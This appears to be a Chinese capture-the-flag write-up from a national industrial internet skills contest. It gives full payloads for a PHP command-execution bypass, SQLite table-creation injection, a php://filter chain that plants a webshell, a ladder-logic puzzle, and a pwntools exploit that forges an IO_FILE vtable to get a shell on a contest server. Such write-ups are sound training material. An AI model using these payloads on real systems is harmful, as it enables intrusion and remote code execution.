全国工业互联网技能大赛wp

  • A+
所属分类:逆向工程

点击蓝字  关注我们

签到

查看源代码,访问 game.js

全国工业互联网技能大赛wp

搜索flag即可获取flag

全国工业互联网技能大赛wp

SimpleCalculator

本以为是模板注入,但发现过滤了一些函数就大体知道应该是命令执行了。

以前做过类似的题目,一般都是直接通过异或构造木马执行命令

但这种题目一般都会给出源码,但扫了几次无果,就利用了以前收藏的exp准备试一试

所以直接构造同一exp就行了

search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=ls

然后发现执行成功,这里直接读取到flag

search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=cat%20/flag

全国工业互联网技能大赛wp

SQLManager

一个可以创建表的页面,抓包发现table_name,和columns_name, 同样再一次比赛中做过类似的题目,记得是sqlite数据库,

每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。

然后创建表的时候可以用as来复制另一个表中的数据。所以可以as select sql from sqlite_master来复制sqlite_master的sql字段。

构造payload:

table_name=idlab as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=INTEGER

全国工业互联网技能大赛wp

全国工业互联网技能大赛wp

果然获取到表和列,然后直接构造获取flag

table_name=idlab as select flag_ThE_C0lumn as[&columns[0][name]=]from flag_Y0U_c4nt_GUESS;&columns[0][type]=INTEGER

全国工业互联网技能大赛wp

全国工业互联网技能大赛wp

easyphp

访问url,就看到page参数,发现存在文件包含

全国工业互联网技能大赛wp

尝试下访问根目录readflag,发现是个elf的程序,就知道这题肯定得要拿shell了。

利用filter协议查看源代码

php://filter/read=convert.base64-encode/resource=/var/www/html/index.php

全国工业互联网技能大赛wp

全国工业互联网技能大赛wp

简单代码审计一波,可以直接通过file_put_contents函数生成文件,但是有个<?php exit(); 所以创建木马也没用,所以需要绕过他,

可以通过filter过滤器来进行过滤,通过代码查看发现strip_tags没有过滤

直接贴exp

php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource=idlab.php

url编码原理:闭合原来的PHP标签。经过targs就会删掉exit。然后再经过zlib解压。得到一句话

执行执行就ok

全国工业互联网技能大赛wp

机密的图纸

图片1高度被缩小,调大以后可以看到Y004的输出逻辑

另一个图片后有文字LD T3.OUT T4 K40.LD T4.OUT T5 K150.LD T5.OUT T6 K60.END,也是描述了T4-T6的梯形图

根据图片的逻辑,推导出T0-T6的逻辑:

全国工业互联网技能大赛wp

再根据T0-T6的逻辑计算出Y0-Y6的时序如下:

全国工业互联网技能大赛wp

再合并字符串以后,删除换行转md5即得到flag

logger

全国工业互联网技能大赛wp

在我们输入的长度被存储在了r8寄存器,而r9就是对应的输入的idx,通过构造r8,r9我们可以实现任意写,我们可以修改IO_FILE结构体的指针,并且程序在调用vprintf等函数的时候会调用IO相关指针,伪造一个IO_FILE_plus结构体的vtable指针,里面的函数指针我们给它修改成one_gadget,拿到shell,拿下flag

#!/usr/bin/env python# coding=utf-8from pwn_debug import *context.log_level = "debug"pdbg = pwn_debug("./logger")debug = 3#pdbg.context.terminal=['tmux', 'splitw', '-h']pdbg.local() pdbg.debug("2.23")  #2.23 ... 2.29pdbg.remote("39.105.35.195",15333) #IP,PORTif debug == 1:    r = pdbg.run("debug")elif debug == 2:    r = pdbg.run("local")else:    r = pdbg.run("remote")
def debug(addr): pdbg.bp([addr])
def get_base(r): text_base = r.libs()[r._cwd+r.argv[0].strip('.')] for key in r.libs(): if "libc.so.6" in key: return text_base,r.libs()[key]
def confirm(address): n = globals() for key,value in n.items(): if value == address: return success(key+" ==> "+hex(address)) elf = pdbg.elflibc = pdbg.libcdef choice(idx): r.sendlineafter("4. Exitn",str(idx))
def warning(content): choice(1) r.sendafter("tent:n",content)
def warn_one(content,idx): choice(2) r.sendafter("tent:n",content * "a" +"x00") r.sendlineafter("ID:n",str(idx))
def error(content): choice(3) r.sendafter("tent:n",content)
def warn_8(idx,content): for i in range(len(content)): warn_one(content[i],idx+i)
payload = "a" * 0x38warning(payload)r.recvuntil("a"*0x38)libcbase = u64(r.recvuntil("x7f").ljust(8,"x00")) - 0x3a2a9confirm(libcbase)warn_8(0x0,[0x87,0x28,0xad,0xfb])warn_8(0x8,[0xb0,0x0c,0x68])warn_8(0x10,[0xb0,0x0c,0x68])warn_8(0x18,[0xb0,0x0c,0x68])warn_8(0x20,[0xb0,0x0c,0x68])warn_8(0x28,[0xb0,0x0c,0x68])warn_8(0x30,[0xb0,0x0c,0x68])warn_8(0x38,[0xb0,0x0c,0x68])warn_8(0x40,[0xb1,0x0c,0x68])warn_8(0x70,[0x01,0x00,0x00])warn_8(0x88,[0xB0,0x0D,0x68])warn_8(0xd8,[0xb0,0x07,0x68])warn_8(0x1000,[0x0])warn_8(0x1008,[0x0])warn_8(0x1010,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])warn_8(0x1018,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])warn_8(0x1020,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])warn_8(0x1028,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])warn_8(0x1030,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])one_gadget = hex(libcbase + 0x4527a)[2:]result = [one_gadget[2*i:2*i+2] for i in range(int(len(one_gadget)/2))]warn_8(0x1038,[eval('0x'+result[5]),eval('0x'+result[4]),eval('0x'+result[3]),eval('0x'+result[2]),eval('0x'+result[1]),eval('0x'+result[0]),0,0])warn_8(-16,[0xb0,0xf7,0x67,0x00,0x00,0x00,0x00,0x00])choice(4)r.sendline('cat flag')r.interactive()
全国工业互联网技能大赛wp

本文始发于微信公众号(IDLab):全国工业互联网技能大赛wp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: